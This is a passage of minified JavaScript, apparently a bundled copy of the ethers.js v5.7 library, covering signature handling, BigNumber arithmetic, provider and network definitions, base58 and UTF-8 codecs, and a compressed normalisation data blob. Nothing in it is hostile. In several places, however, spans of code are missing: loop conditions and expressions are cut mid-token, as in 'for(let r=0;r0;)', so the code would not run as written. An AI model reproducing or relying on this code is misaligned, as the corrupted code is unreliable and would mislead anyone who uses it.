A=Wl(r);null==e.s?e.s=A:e.s!==A&&Hl.throwArgumentError(\"signature v mismatch _vs\",\"signature\",t)}if(null==e.recoveryParam)null==e.v?Hl.throwArgumentError(\"signature missing v and recoveryParam\",\"signature\",t):0===e.v||1===e.v?e.recoveryParam=e.v:e.recoveryParam=1-e.v%2;else if(null==e.v)e.v=27+e.recoveryParam;else{const r=0===e.v||1===e.v?e.v:1-e.v%2;e.recoveryParam!==r&&Hl.throwArgumentError(\"signature recoveryParam mismatch v\",\"signature\",t)}null!=e.r&&Xl(e.r)?e.r=rf(e.r,32):Hl.throwArgumentError(\"signature missing or invalid r\",\"signature\",t),null!=e.s&&Xl(e.s)?e.s=rf(e.s,32):Hl.throwArgumentError(\"signature missing or invalid s\",\"signature\",t);const r=jl(e.s);r[0]>=128&&Hl.throwArgumentError(\"signature s out of range\",\"signature\",t),e.recoveryParam&&(r[0]|=128);const n=Wl(r);e._vs&&(Xl(e._vs)||Hl.throwArgumentError(\"signature invalid _vs\",\"signature\",t),e._vs=rf(e._vs,32)),null==e._vs?e._vs=n:e._vs!==n&&Hl.throwArgumentError(\"signature _vs mismatch v and s\",\"signature\",t)}return e.yParityAndS=e._vs,e.compact=e.r+e.yParityAndS.substring(2),e}Al(),il();var Af=bl.default.BN,of=new Gl(\"bignumber/5.7.0\"),sf={},af=9007199254740991,cf=!1,hf=class t{constructor(t,e){t!==sf&&of.throwError(\"cannot call constructor directly; use BigNumber.from\",Gl.errors.UNSUPPORTED_OPERATION,{operation:\"new (BigNumber)\"}),this._hex=e,this._isBigNumber=!0,Object.freeze(this)}fromTwos(t){return uf(lf(this).fromTwos(t))}toTwos(t){return uf(lf(this).toTwos(t))}abs(){return\"-\"===this._hex[0]?t.from(this._hex.substring(1)):this}add(t){return uf(lf(this).add(lf(t)))}sub(t){return uf(lf(this).sub(lf(t)))}div(e){return t.from(e).isZero()&&ff(\"division-by-zero\",\"div\"),uf(lf(this).div(lf(e)))}mul(t){return uf(lf(this).mul(lf(t)))}mod(t){const e=lf(t);return e.isNeg()&&ff(\"division-by-zero\",\"mod\"),uf(lf(this).umod(e))}pow(t){const e=lf(t);return e.isNeg()&&ff(\"negative-power\",\"pow\"),uf(lf(this).pow(e))}and(t){const e=lf(t);return(this.isNegative()||e.isNeg())&&ff(\"unbound-bitwise-result\",\"and\"),uf(lf(this).and(e))}or(t){const e=lf(t);return(this.isNegative()||e.isNeg())&&ff(\"unbound-bitwise-result\",\"or\"),uf(lf(this).or(e))}xor(t){const e=lf(t);return(this.isNegative()||e.isNeg())&&ff(\"unbound-bitwise-result\",\"xor\"),uf(lf(this).xor(e))}mask(t){return(this.isNegative()||t<0)&&ff(\"negative-width\",\"mask\"),uf(lf(this).maskn(t))}shl(t){return(this.isNegative()||t<0)&&ff(\"negative-width\",\"shl\"),uf(lf(this).shln(t))}shr(t){return(this.isNegative()||t<0)&&ff(\"negative-width\",\"shr\"),uf(lf(this).shrn(t))}eq(t){return lf(this).eq(lf(t))}lt(t){return lf(this).lt(lf(t))}lte(t){return lf(this).lte(lf(t))}gt(t){return lf(this).gt(lf(t))}gte(t){return lf(this).gte(lf(t))}isNegative(){return\"-\"===this._hex[0]}isZero(){return lf(this).isZero()}toNumber(){try{return lf(this).toNumber()}catch(t){ff(\"overflow\",\"toNumber\",this.toString())}return null}toBigInt(){try{return BigInt(this.toString())}catch(t){}return of.throwError(\"this platform does not support BigInt\",Gl.errors.UNSUPPORTED_OPERATION,{value:this.toString()})}toString(){return arguments.length>0&&(10===arguments[0]?cf||(cf=!0,of.warn(\"BigNumber.toString does not accept any parameters; base-10 is assumed\")):16===arguments[0]?of.throwError(\"BigNumber.toString does not accept any parameters; use bigNumber.toHexString()\",Gl.errors.UNEXPECTED_ARGUMENT,{}):of.throwError(\"BigNumber.toString does not accept parameters\",Gl.errors.UNEXPECTED_ARGUMENT,{})),lf(this).toString(10)}toHexString(){return this._hex}toJSON(t){return{type:\"BigNumber\",hex:this.toHexString()}}static from(e){if(e instanceof t)return e;if(\"string\"==typeof e)return e.match(/^-?0x[0-9a-f]+$/i)?new t(sf,gf(e)):e.match(/^-?[0-9]+$/)?new t(sf,gf(new Af(e))):of.throwArgumentError(\"invalid BigNumber string\",\"value\",e);if(\"number\"==typeof e)return e%1&&ff(\"underflow\",\"BigNumber.from\",e),(e>=af||e<=-af)&&ff(\"overflow\",\"BigNumber.from\",e),t.from(String(e));const r=e;if(\"bigint\"==typeof r)return t.from(r.toString());if(Jl(r))return t.from(Wl(r));if(r)if(r.toHexString){const e=r.toHexString();if(\"string\"==typeof e)return t.from(e)}else{let e=r._hex;if(null==e&&\"BigNumber\"===r.type&&(e=r.hex),\"string\"==typeof e&&(Xl(e)||\"-\"===e[0]&&Xl(e.substring(1))))return t.from(e)}return of.throwArgumentError(\"invalid BigNumber value\",\"value\",e)}static isBigNumber(t){return!(!t||!t._isBigNumber)}};function gf(t){if(\"string\"!=typeof t)return gf(t.toString(16));if(\"-\"===t[0])return\"-\"===(t=t.substring(1))[0]&&of.throwArgumentError(\"invalid hex\",\"value\",t),\"0x00\"===(t=gf(t))?t:\"-\"+t;if(\"0x\"!==t.substring(0,2)&&(t=\"0x\"+t),\"0x\"===t)return\"0x00\";for(t.length%2&&(t=\"0x0\"+t.substring(2));t.length>4&&\"0x00\"===t.substring(0,4);)t=\"0x\"+t.substring(4);return t}function uf(t){return hf.from(gf(t))}function lf(t){const e=hf.from(t).toHexString();return\"-\"===e[0]?new Af(\"-\"+e.substring(3),16):new Af(e.substring(2),16)}function ff(t,e,r){const n={fault:t,operation:e};return null!=r&&(n.value=r),of.throwError(t,Gl.errors.NUMERIC_FAULT,n)}Al(),il(),Al(),il();var pf=function(t,e,r,n){return new(r||(r=Promise))((function(A,i){function o(t){try{a(n.next(t))}catch(t){i(t)}}function s(t){try{a(n.throw(t))}catch(t){i(t)}}function a(t){var e;t.done?A(t.value):(e=t.value,e instanceof r?e:new r((function(t){t(e)}))).then(o,s)}a((n=n.apply(t,e||[])).next())}))},df=new Gl(\"properties/5.7.0\");function If(t,e,r){Object.defineProperty(t,e,{enumerable:!0,value:r,writable:!1})}function yf(t,e){for(let r=0;r<32;r++){if(t[e])return t[e];if(!t.prototype||\"object\"!=typeof t.prototype)break;t=Object.getPrototypeOf(t.prototype).constructor}return null}function Cf(t){return pf(this,void 0,void 0,(function*(){const e=Object.keys(t).map((e=>{const r=t[e];return Promise.resolve(r).then((t=>({key:e,value:t})))}));return(yield Promise.all(e)).reduce(((t,e)=>(t[e.key]=e.value,t)),{})}))}function mf(t){const e={};for(const r in t)e[r]=t[r];return e}var Bf={bigint:!0,boolean:!0,function:!0,number:!0,string:!0};function Ef(t){if(null==t||Bf[typeof t])return!0;if(Array.isArray(t)||\"object\"==typeof t){if(!Object.isFrozen(t))return!1;const e=Object.keys(t);for(let r=0;rvf(t))));if(\"object\"==typeof t){const e={};for(const r in t){const n=t[r];void 0!==n&&If(e,r,vf(n))}return e}return df.throwArgumentError(\"Cannot deepCopy \"+typeof t,\"object\",t)}function vf(t){return wf(t)}var _f=class{constructor(t){for(const e in t)this[e]=vf(t[e])}};Al(),il();var Qf=function(t,e,r,n){return new(r||(r=Promise))((function(A,i){function o(t){try{a(n.next(t))}catch(t){i(t)}}function s(t){try{a(n.throw(t))}catch(t){i(t)}}function a(t){var e;t.done?A(t.value):(e=t.value,e instanceof r?e:new r((function(t){t(e)}))).then(o,s)}a((n=n.apply(t,e||[])).next())}))},bf=new Gl(\"abstract-provider/5.7.0\"),kf=class extends _f{static isForkEvent(t){return!(!t||!t._isForkEvent)}},Df=class t{constructor(){bf.checkAbstract(new.target,t),If(this,\"_isProvider\",!0)}getFeeData(){return Qf(this,void 0,void 0,(function*(){const{block:t,gasPrice:e}=yield Cf({block:this.getBlock(\"latest\"),gasPrice:this.getGasPrice().catch((t=>null))});let r=null,n=null,A=null;return t&&t.baseFeePerGas&&(r=t.baseFeePerGas,A=hf.from(\"1500000000\"),n=t.baseFeePerGas.mul(2).add(A)),{lastBaseFeePerGas:r,maxFeePerGas:n,maxPriorityFeePerGas:A,gasPrice:e}}))}addListener(t,e){return this.on(t,e)}removeListener(t,e){return this.off(t,e)}static isProvider(t){return!(!t||!t._isProvider)}};Al(),il(),Al(),il();var Sf=new Gl(\"networks/5.7.1\");function Nf(t){const e=function(e,r){null==r&&(r={});const n=[];if(e.InfuraProvider&&\"-\"!==r.infura)try{n.push(new e.InfuraProvider(t,r.infura))}catch(t){}if(e.EtherscanProvider&&\"-\"!==r.etherscan)try{n.push(new e.EtherscanProvider(t,r.etherscan))}catch(t){}if(e.AlchemyProvider&&\"-\"!==r.alchemy)try{n.push(new e.AlchemyProvider(t,r.alchemy))}catch(t){}if(e.PocketProvider&&\"-\"!==r.pocket){const A=[\"goerli\",\"ropsten\",\"rinkeby\",\"sepolia\"];try{const i=new e.PocketProvider(t,r.pocket);i.network&&-1===A.indexOf(i.network.name)&&n.push(i)}catch(t){}}if(e.CloudflareProvider&&\"-\"!==r.cloudflare)try{n.push(new e.CloudflareProvider(t))}catch(t){}if(e.AnkrProvider&&\"-\"!==r.ankr)try{const A=[\"ropsten\"],i=new e.AnkrProvider(t,r.ankr);i.network&&-1===A.indexOf(i.network.name)&&n.push(i)}catch(t){}if(0===n.length)return null;if(e.FallbackProvider){let A=1;return null!=r.quorum?A=r.quorum:\"homestead\"===t&&(A=2),new e.FallbackProvider(n,A)}return n[0]};return e.renetwork=function(t){return Nf(t)},e}function Mf(t,e){const r=function(r,n){return r.JsonRpcProvider?new r.JsonRpcProvider(t,e):null};return r.renetwork=function(e){return Mf(t,e)},r}var xf={chainId:1,ensAddress:\"0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e\",name:\"homestead\",_defaultProvider:Nf(\"homestead\")},Ff={chainId:3,ensAddress:\"0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e\",name:\"ropsten\",_defaultProvider:Nf(\"ropsten\")},Pf={chainId:63,name:\"classicMordor\",_defaultProvider:Mf(\"https://www.ethercluster.com/mordor\",\"classicMordor\")},Tf={unspecified:{chainId:0,name:\"unspecified\"},homestead:xf,mainnet:xf,morden:{chainId:2,name:\"morden\"},ropsten:Ff,testnet:Ff,rinkeby:{chainId:4,ensAddress:\"0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e\",name:\"rinkeby\",_defaultProvider:Nf(\"rinkeby\")},kovan:{chainId:42,name:\"kovan\",_defaultProvider:Nf(\"kovan\")},goerli:{chainId:5,ensAddress:\"0x00000000000C2E074eC69A0dFb2997BA6C7d2e1e\",name:\"goerli\",_defaultProvider:Nf(\"goerli\")},kintsugi:{chainId:1337702,name:\"kintsugi\"},sepolia:{chainId:11155111,name:\"sepolia\",_defaultProvider:Nf(\"sepolia\")},classic:{chainId:61,name:\"classic\",_defaultProvider:Mf(\"https://www.ethercluster.com/etc\",\"classic\")},classicMorden:{chainId:62,name:\"classicMorden\"},classicMordor:Pf,classicTestnet:Pf,classicKotti:{chainId:6,name:\"classicKotti\",_defaultProvider:Mf(\"https://www.ethercluster.com/kotti\",\"classicKotti\")},xdai:{chainId:100,name:\"xdai\"},matic:{chainId:137,name:\"matic\",_defaultProvider:Nf(\"matic\")},maticmum:{chainId:80001,name:\"maticmum\"},optimism:{chainId:10,name:\"optimism\",_defaultProvider:Nf(\"optimism\")},\"optimism-kovan\":{chainId:69,name:\"optimism-kovan\"},\"optimism-goerli\":{chainId:420,name:\"optimism-goerli\"},arbitrum:{chainId:42161,name:\"arbitrum\"},\"arbitrum-rinkeby\":{chainId:421611,name:\"arbitrum-rinkeby\"},\"arbitrum-goerli\":{chainId:421613,name:\"arbitrum-goerli\"},bnb:{chainId:56,name:\"bnb\"},bnbt:{chainId:97,name:\"bnbt\"}};function Rf(t){t=atob(t);const e=[];for(let r=0;r0;)r.push(n%this.base),n=n/this.base|0}let n=\"\";for(let t=0;0===e[t]&&t=0;--t)n+=this.alphabet[r[t]];return n}decode(t){if(\"string\"!=typeof t)throw new TypeError(\"Expected String\");let e=[];if(0===t.length)return new Uint8Array(e);e.push(0);for(let r=0;r>=8;for(;A>0;)e.push(255&A),A>>=8}for(let r=0;t[r]===this._leader&&r>6==2;n++)t++;return t}return t===jf.OVERRUN?r.length-e-1:0}(Jf=Kf||(Kf={})).current=\"\",Jf.NFC=\"NFC\",Jf.NFD=\"NFD\",Jf.NFKC=\"NFKC\",Jf.NFKD=\"NFKD\",(zf=jf||(jf={})).UNEXPECTED_CONTINUE=\"unexpected continuation byte\",zf.BAD_PREFIX=\"bad codepoint prefix\",zf.OVERRUN=\"string overrun\",zf.MISSING_CONTINUE=\"missing continuation byte\",zf.OUT_OF_RANGE=\"out of UTF-8 range\",zf.UTF16_SURROGATE=\"UTF-16 surrogate\",zf.OVERLONG=\"overlong representation\";var Vf=Object.freeze({error:function(t,e,r,n,A){return qf.throwArgumentError(`invalid codepoint at offset ${e}; ${t}`,\"bytes\",r)},ignore:Xf,replace:function(t,e,r,n,A){return t===jf.OVERLONG?(n.push(A),0):(n.push(65533),Xf(t,e,r))}});function Wf(t,e){null==e&&(e=Vf.error),t=jl(t);const r=[];let n=0;for(;n>7)){r.push(A);continue}let i=null,o=null;if(192==(224&A))i=1,o=127;else if(224==(240&A))i=2,o=2047;else{if(240!=(248&A)){n+=e(128==(192&A)?jf.UNEXPECTED_CONTINUE:jf.BAD_PREFIX,n-1,t,r);continue}i=3,o=65535}if(n-1+i>=t.length){n+=e(jf.OVERRUN,n-1,t,r);continue}let s=A&(1<<8-i-1)-1;for(let A=0;A1114111?n+=e(jf.OUT_OF_RANGE,n-1-i,t,r,s):s>=55296&&s<=57343?n+=e(jf.UTF16_SURROGATE,n-1-i,t,r,s):s<=o?n+=e(jf.OVERLONG,n-1-i,t,r,s):r.push(s))}return r}function Zf(t,e=Kf.current){e!=Kf.current&&(qf.checkNormalize(),t=t.normalize(e));let r=[];for(let e=0;e>6|192),r.push(63&n|128);else if(55296==(64512&n)){e++;const A=t.charCodeAt(e);if(e>=t.length||56320!=(64512&A))throw new Error(\"invalid utf-8 string\");const i=65536+((1023&n)<<10)+(1023&A);r.push(i>>18|240),r.push(i>>12&63|128),r.push(i>>6&63|128),r.push(63&i|128)}else r.push(n>>12|224),r.push(n>>6&63|128),r.push(63&n|128)}return jl(r)}function $f(t,e){return Wf(t,e).map((t=>t<=65535?String.fromCharCode(t):(t-=65536,String.fromCharCode(55296+(t>>10&1023),56320+(1023&t))))).join(\"\")}function tp(t){return Yf(Zf(t))}Al(),il(),Al(),il();var ep=\"hash/5.7.0\";function rp(t,e){null==e&&(e=1);const r=[],n=r.forEach,A=function(t,e){n.call(t,(function(t){e>0&&Array.isArray(t)?A(t,e-1):r.push(t)}))};return A(t,e),r}function np(t){return function(t){let e=0;return()=>t[e++]}(function(t){let e=0;function r(){return t[e++]<<8|t[e++]}let n=r(),A=1,i=[0,1];for(let t=1;t>--a&1}const g=Math.pow(2,31),u=g>>>1,l=u>>1,f=g-1;let p=0;for(let t=0;t<31;t++)p=p<<1|h();let d=[],I=0,y=g;for(;;){let t=Math.floor(((p-I+1)*A-1)/y),e=0,r=n;for(;r-e>1;){let n=e+r>>>1;t>>1|h(),o=o<<1^u,s=(s^u)<<1|u|1;I=o,y=1+s-o}let C=n-4;return d.map((e=>{switch(e-C){case 3:return C+65792+(t[s++]<<16|t[s++]<<8|t[s++]);case 2:return C+256+(t[s++]<<8|t[s++]);case 1:return C+t[s++];default:return e-1}}))}(t))}function Ap(t){return 1&t?~t>>1:t>>1}function ip(t,e){let r=Array(t);for(let n=0,A=-1;ne[t])):r}function ap(t,e,r){let n=Array(t).fill(void 0).map((()=>[]));for(let A=0;An[e].push(t)));return n}function cp(t,e){let r=1+e(),n=e(),A=function(t){let e=[];for(;;){let r=t();if(0==r)break;e.push(r)}return e}(e);return rp(ap(A.length,1+t,e).map(((t,e)=>{const i=t[0],o=t.slice(1);return Array(A[e]).fill(void 0).map(((t,e)=>{let A=e*n;return[i+e*r,o.map((t=>t+A))]}))})))}function hp(t,e){return ap(1+e(),1+t,e).map((t=>[t[0],t.slice(1)]))}Al(),il(),Al(),il(),Al(),il();var gp=np(Rf(\"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